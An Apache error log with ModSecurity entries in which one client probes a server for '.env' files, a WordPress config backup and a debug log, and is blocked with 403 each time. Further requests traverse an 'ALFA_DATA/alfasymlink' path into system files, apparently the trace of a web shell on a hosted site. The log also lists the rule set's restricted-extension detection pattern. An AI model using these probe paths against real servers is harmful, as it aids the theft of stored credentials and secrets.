[Mon Oct 26 23:41:28.310076 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/old/.env"] [unique_id "auAdaB7MuKI4tGMtwYeNKwAAAAo"]
[Mon Oct 26 23:41:28.310801 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaB7MuKI4tGMtwYeNKwAAAAo"]
[Mon Oct 26 23:41:28.345442 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/production/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-6wAAAAI"]
[Mon Oct 26 23:41:28.345601 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/production/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-6wAAAAI"]
[Mon Oct 26 23:41:28.346267 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOn4bIWiIXBuaEF-6wAAAAI"]
[Mon Oct 26 23:41:28.353271 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/public/.env"] [unique_id "auAdaE24KMCNE5F3hPn8qAAAAAA"]
[Mon Oct 26 23:41:28.353437 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/public/.env"] [unique_id "auAdaE24KMCNE5F3hPn8qAAAAAA"]
[Mon Oct 26 23:41:28.354149 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaE24KMCNE5F3hPn8qAAAAAA"]
[Mon Oct 26 23:41:28.398968 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/server/.env"] [unique_id "auAdaBnOVh4RLrkQvo0jvgAAACA"]
[Mon Oct 26 23:41:28.399142 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/server/.env"] [unique_id "auAdaBnOVh4RLrkQvo0jvgAAACA"]
[Mon Oct 26 23:41:28.399903 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaBnOVh4RLrkQvo0jvgAAACA"]
[Mon Oct 26 23:41:28.428187 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/src/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-7AAAAAI"]
[Mon Oct 26 23:41:28.428356 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/src/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-7AAAAAI"]
[Mon Oct 26 23:41:28.429177 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOn4bIWiIXBuaEF-7AAAAAI"]
[Mon Oct 26 23:41:28.429616 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/staging/.env"] [unique_id "auAdaE24KMCNE5F3hPn8qQAAAAA"]
[Mon Oct 26 23:41:28.429771 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/staging/.env"] [unique_id "auAdaE24KMCNE5F3hPn8qQAAAAA"]
[Mon Oct 26 23:41:28.430535 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaE24KMCNE5F3hPn8qQAAAAA"]
[Mon Oct 26 23:41:28.450602 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/v1/.env"] [unique_id "auAdaAjA6epjCUwuTm4n0gAAABY"]
[Mon Oct 26 23:41:28.450607 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/test/.env"] [unique_id "auAdaJGCCt7t6mKgKshQKwAAACI"]
[Mon Oct 26 23:41:28.450764 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/v1/.env"] [unique_id "auAdaAjA6epjCUwuTm4n0gAAABY"]
[Mon Oct 26 23:41:28.450773 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/test/.env"] [unique_id "auAdaJGCCt7t6mKgKshQKwAAACI"]
[Mon Oct 26 23:41:28.451465 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaAjA6epjCUwuTm4n0gAAABY"]
[Mon Oct 26 23:41:28.451531 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaJGCCt7t6mKgKshQKwAAACI"]
[Mon Oct 26 23:41:28.460986 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/v2/.env"] [unique_id "auAdaANsKVHs98GrhGMUPgAAAAE"]
[Mon Oct 26 23:41:28.461125 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/v2/.env"] [unique_id "auAdaANsKVHs98GrhGMUPgAAAAE"]
[Mon Oct 26 23:41:28.462020 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaANsKVHs98GrhGMUPgAAAAE"]
[Mon Oct 26 23:41:28.474565 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/web/.env"] [unique_id "auAdaBnOVh4RLrkQvo0jvwAAACA"]
[Mon Oct 26 23:41:28.474695 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/web/.env"] [unique_id "auAdaBnOVh4RLrkQvo0jvwAAACA"]
[Mon Oct 26 23:41:28.475375 2026] [security2:error] [pid 3153407:tid 3153407] [client 35.241.132.20:44236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaBnOVh4RLrkQvo0jvwAAACA"]
[Mon Oct 26 23:41:28.495901 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/wp-config.php.bak"] [unique_id "auAdaOt_JlfYNa0VLOKItQAAAAw"]
[Mon Oct 26 23:41:28.496063 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/wp-config.php.bak"] [unique_id "auAdaOt_JlfYNa0VLOKItQAAAAw"]
[Mon Oct 26 23:41:28.496744 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOt_JlfYNa0VLOKItQAAAAw"]
[Mon Oct 26 23:41:28.504430 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.parkeranders.com"] [uri "/wp-content/debug.log"] [unique_id "auAdaOn4bIWiIXBuaEF-7QAAAAI"]
[Mon Oct 26 23:41:28.504651 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/wp-content/debug.log"] [unique_id "auAdaOn4bIWiIXBuaEF-7QAAAAI"]
[Mon Oct 26 23:41:28.505457 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOn4bIWiIXBuaEF-7QAAAAI"]
[Mon Oct 26 23:41:34.110640 2026] [ssl:error] [pid 3154110:tid 3154110] (70014)End of file found: [client 185.191.171.14:35466] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:34.173500 2026] [ssl:error] [pid 3154115:tid 3154115] (70014)End of file found: [client 52.204.253.129:22011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:38.352614 2026] [ssl:error] [pid 3154120:tid 3154120] (70014)End of file found: [client 34.194.165.45:62778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:46.434106 2026] [ssl:error] [pid 3154105:tid 3154105] (70014)End of file found: [client 52.201.155.215:6732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:41:51.898706 2026] [core:error] [pid 3147565:tid 3147565] (13)Permission denied: [client 185.191.171.10:64016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/slabs_cpu_partial
[Mon Oct 26 23:41:53.219914 2026] [security2:error] [pid 3152927:tid 3152927] [client 85.208.96.194:14436] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICE1724.conf"] [unique_id "auAdgen4bIWiIXBuaEF-7gAAAAI"]
[Mon Oct 26 23:41:53.220324 2026] [security2:error] [pid 3152927:tid 3152927] [client 85.208.96.194:14436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICE1724.conf"] [unique_id "auAdgen4bIWiIXBuaEF-7gAAAAI"]
